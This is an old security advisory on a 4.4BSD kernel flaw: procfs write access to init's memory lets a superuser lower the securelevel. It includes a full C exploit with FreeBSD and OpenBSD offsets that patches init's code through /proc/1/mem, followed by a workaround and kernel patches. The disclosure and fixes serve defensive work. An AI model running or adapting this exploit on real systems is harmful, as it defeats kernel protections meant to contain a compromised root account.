COMMAND
securelevels (kernel)
SYSTEMS AFFECTED
It is believed that all 4.4BSD operating systems are currently
vulnerable to this problem. Known: OpenBSD 2.0. 2.1 (except
current), FreeBSD (except current), NetBSD (all versions).
PROBLEM
This info is based on Thomas H. Ptacek's post.
Certain security measures in the 4.4BSD kernel rely on a variable
called the "securelevel", which is intended to allow the system
to run with heightened security after initializations that may
require extra flexibility. Mechanisms that rely on the
securelevel are inactive until the securelevel is raised to a
nonzero value.
The securelevels system relies on the fact that no user on the
system, including the superuser, can lower the variable after it
has been raised. This allows securelevels to be used to implement
protections in the kernel against a compromised superuser account.
A commonly-used example is the filesystem "immutable" flag, which
prevents flagged files from being modified by anyone on the
system, including the superuser.
The process of transitioning the system into single-user mode from
multi-user mode involves several functions that require enhanced
access to system internals. Because of this, the "init" process
has the exclusive ability to decrease the system securelevel to
facilitate this process. In recognition of this, in-kernel
process-level debugging utilities, such as the ptrace() system
call, do not function on the "init" process.
The 4.4BSD process filesystem presents a filesystem perspective
to the process table. Process information tools such as "ps" can
read the process filesystem information as directories and files,
instead of digging through kernel memory directly. Additionally,
process debugging tools can use procfs to modify running
processes. Like ptrace(), the procfs code has recently been
modified to prevent the subversion of the running init process.
Unfortunately, a vulnerability in the procfs code remains which
allows a user with superuser credentials to modify the running
init process and force it to reduce the system securelevel.
Although the "attach" command, which is the procfs equivalent to
the "attach" interface provided by ptrace(), is disallowed on the
init process, write access to the virtual memory of the init
process remains enabled. Modification to the running init process
image can be used to subvert the process.
The 4.4BSD process filesystem describes each process with a
series of files, including "status", which provides the process
status, "regs", which details the register set of the process,
"mem", which provides access to the memory image of the process,
and "ctl", which provides an interface to process control. The
procfs vulnerability described in this advisory exploits the
"mem" process description file.
By opening the "mem" file of the running init process up in a
write mode, the virtual memory image of the init process can be
modified. This access can be used to alter the executable code
of the running process in it's text segment.
This can easily be exploited to reduce the securelevel of the
system by altering code in init that already involves modification
of the securelevel. One place where this occurs is within the
"multi_user()" routine, which sets the securelevel to "1" upon
entry (expressing the default behavior of running with
securelevels enabled after initializing the system).
The relevant code is:
if(getsecuritylevel() == 0)
setsecuritylevel(1);
By excercising write access to the text of the init process, that
code can be altered to set the securelevel to 0 by modifying two
bytes of executable code - one two cause the "if" conditional to
evaluate true after the system has entered multi-user mode, and
one to alter the value passed to "setsecuritylevel" from "1" to
"0", affecting a reduction in the system securelevel.
The newly modified code now reads:
if(getsecuritylevel() != 0)
setsecuritylevel(0);
The init program is a finite state machine driven by function
pointers. The program can be forced to call multi_user() by
setting a function pointer (using the "mem" file again) to the
address of this routine. The next time "init" changes state, it
will call multi_user() and reduce the securelevel.
The following code will compile and run on any 4.4BSD system.
However, it relies on offsets into the memory image of the init
process that may change from OS to OS, and from compilation to
compilation. Attempting to run this program on an operating
system other than the one for which it was intended will corrupt
the text of the init process, and probably cause your system to
crash. Use caution when attempting to use this program to assess
your vulnerability.
After successfully running the program, the next init state
transition will result in the system securelevel being reduced to
"0".
----- cut here -----
/* FreeBSD 3.0 /sbin/init / procfs securelevel exploit */
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
/* these offsets are for FreeBSD 3.0 /sbin/init. Incorrect offsets
* will cause your system to crash.
*/
/* offset to the beginning of the multi_user() routine */
* OpenBSD: 0x2eb4
*/
#define MULTI_USER_ROUTINE 0x27f8
/* offset of the JNE instruction in multi_user() */
* OpenBSD: 0x2eb4 + 21
*/
#define EVALUATE_TRUE (0x27f8 + 21)
/* offset of the argument to the PUSH instruction */
* OpenBSD: 0x2eb4 + 24
*/
#define SET_TO_ZERO (0x27f8 + 24)
/* offset of the "requested_transition" variable */
* OpenBSD: 0x290b8
*/
#define TRANSITION_TO_MULTI_USER 0x2f0a0
#define INIT_MEMORY_FILE "/proc/1/mem"
/* invariant */
#define JNE 0x74
extern int errno;
int main(int argc, char **argv) {
int init_mem;
char c;
int i;
/* access init's virtual memory image */
init_mem = open(INIT_MEMORY_FILE, O_RDWR);
if(init_mem < 0) {
perror("open");
exit(errno);
}
c = JNE;
/* change == to != (JE to JNE) */
lseek(init_mem, EVALUATE_TRUE, SEEK_SET);
write(init_mem, &c, 1);
c = 0x0;
/* change 1 to 0 */
lseek(init_mem, SET_TO_ZERO, SEEK_SET);
write(init_mem, &c, 1);
/* change next state transition to multi_user */
i = MULTI_USER_ROUTINE;
lseek(init_mem, TRANSITION_TO_MULTI_USER, SEEK_SET);
write(init_mem, &i, 4);
close(init_mem);
/* force an init state transition */
if(!fork())
exit(0)
usleep(10000);
exit(0);
}
----- cut here -----
SOLUTION
Two immediate fixes are available to this problem. The first
resolves the specific problem presented by the procfs interface,
and the second prevents "init" from being able to lower the
securelevel at all, resolving the more general problem presented
by making "init" a target for compromising the kernel.
A workaround to the problem is simply to disable the procfs
filesystem in your kernel binary, by not specifying it in the
kernel config file, reconfiguring the kernel, rebuilding it, and
rebooting off the new kernel. This will reduce the functionality
of process debugging tools.
The procfs fix involves a modification to sys/miscfs/procfs_subr.c
which implements the procfs_write() vnode interface. By causing
the procfs_rw() routine to fail when the affected process ID is
"1", "init" is now safeguarded against modification from the
process filesystem. An OpenBSD fix to the problem is provided at
the end. NetBSD too.
The "init" securelevel fix involves a modification to
sys/kern/kern_mib.c, where the "sysctl" interface to the
"securelevel" variable is implemented. By causing this interface
to fail at all times when the request attempts to reduce the
securelevel, "init" is prevented from compromising the system.
To prevent the process filesystem from enabling the superuser to
modify the running init image, apply the following patch to your
OpenBSD kernel.
----- cut here -----
*** sys/miscfs/procfs/procfs_subr.c Tue Jun 24 15:56:02 1997
--- sys-old/miscfs/procfs/procfs_subr.c Tue Jun 24 15:55:06 1997
***************
*** 1,3 ****
! /* $OpenBSD: procfs_subr.c,v 1.5 1997/04/06 07:00:14 millert Exp $ */
/* $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $ */
--- 1,3 ----
! /* $OpenBSD: procfs_subr.c,v 1.6 1997/06/21 12:19:45 deraadt Exp $ */
/* $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $ */
***************
*** 222,225 ****
--- 222,228 ----
if (p == 0)
return (EINVAL);
+ /* Do not permit games to be played with init(8) */
+ if (p->p_pid == 1 && securelevel > 0 && uio->uio_rw == UIO_WRITE)
+ return (EPERM);
switch (pfs->pfs_type) {
----- cut here -----
To prevent "init" from being able to decrease the system
securelevel, apply the following patch to your OpenBSD kernel.
----- cut here -----
*** kern_sysctl.c.orig Tue Jun 24 17:28:52 1997
--- kern_sysctl.c Tue Jun 24 17:29:37 1997
***************
*** 238,242 ****
return (error);
if ((securelevel > 0 || level < -1)
! && level < securelevel && p->p_pid != 1)
return (EPERM);
securelevel = level;
--- 238,242 ----
return (error);
if ((securelevel > 0 || level < -1)
! && level < securelevel)
return (EPERM);
securelevel = level;
----- cut here -----
Here's a patch for NetBSD which fixes this:
Index: procfs_subr.c
===================================================================
RCS file: /cvsroot/src/sys/miscfs/procfs/procfs_subr.c,v
retrieving revision 1.18
diff -c -2 -r1.18 procfs_subr.c
*** procfs_subr.c 1997/05/05 07:35:13 1.18
--- procfs_subr.c 1997/06/25 11:17:52
***************
*** 222,225 ****
--- 222,242 ----
switch (pfs->pfs_type) {
+ case Pregs:
+ case Pfpregs:
+ case Pmem:
+ /*
+ * Do not allow init to be modified while in secure mode; it
+ * could be duped into changing the security level.
+ */
+ if (uio->uio_rw == UIO_WRITE &&
+ p == initproc && securelevel > -1)
+ return (EPERM);
+ break;
+
+ default:
+ break;
+ }
+
+ switch (pfs->pfs_type) {
case Pnote:
case Pnotepg: